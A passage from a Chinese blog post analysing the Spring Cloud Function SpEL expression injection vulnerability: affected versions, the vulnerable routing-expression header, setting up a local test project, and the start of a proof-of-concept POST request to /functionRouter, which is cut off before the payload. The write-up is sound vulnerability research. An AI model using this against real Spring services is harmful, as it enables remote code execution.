Java漏洞分析-Spring Cloud Function SPEL表达式注入漏洞分析

最新推荐文章于 2024-07-29 09:37:33 发布

Artio_

最新推荐文章于 2024-07-29 09:37:33 发布

阅读量1k

点赞数 1

文章标签： spring java web安全

本文链接：https://blog.csdn.net/senior_artist/article/details/124266115

版权

本文分析了Spring Cloud Function中的一个安全漏洞，该漏洞允许攻击者通过请求头中的`spring.cloud.function.routing-expression`参数触发SPEL表达式注入，可能导致代码执行。受影响的版本范围为3.0.0.RELEASE到3.2.2。文章通过复现漏洞、跟踪代码流程，解释了漏洞的触发条件和修复措施。

摘要由CSDN通过智能技术生成

一：漏洞简介

Spring Cloud 中的 serveless框架 Spring Cloud Function 中的 RoutingFunction 类的 apply 方法将请求头中的spring.cloud.function.routing-expression参数作为 Spel 表达式进行处理，造成Spel表达式注入，攻击者可通过该漏洞执行任意代码。

二：影响版本

3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

三：漏洞复现

这里使用https://github.com/spring-cloud/spring-cloud-function中的项目进行复现

将该项目clone下来后在idea中导入这个项目：spring-cloud-function-3.1.6\spring-cloud-function-samples\function-sample-pojo

导入后等待idea下载完成依赖之后直接启动项目，启动完成后访问:127.0.0.1:8080出现以下页面代表启动成功：

在这里插入图片描述

然后我们直接上burp

POC

POST /functionRouter HTTP/1.1
Host: 192.168.248.6:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,applica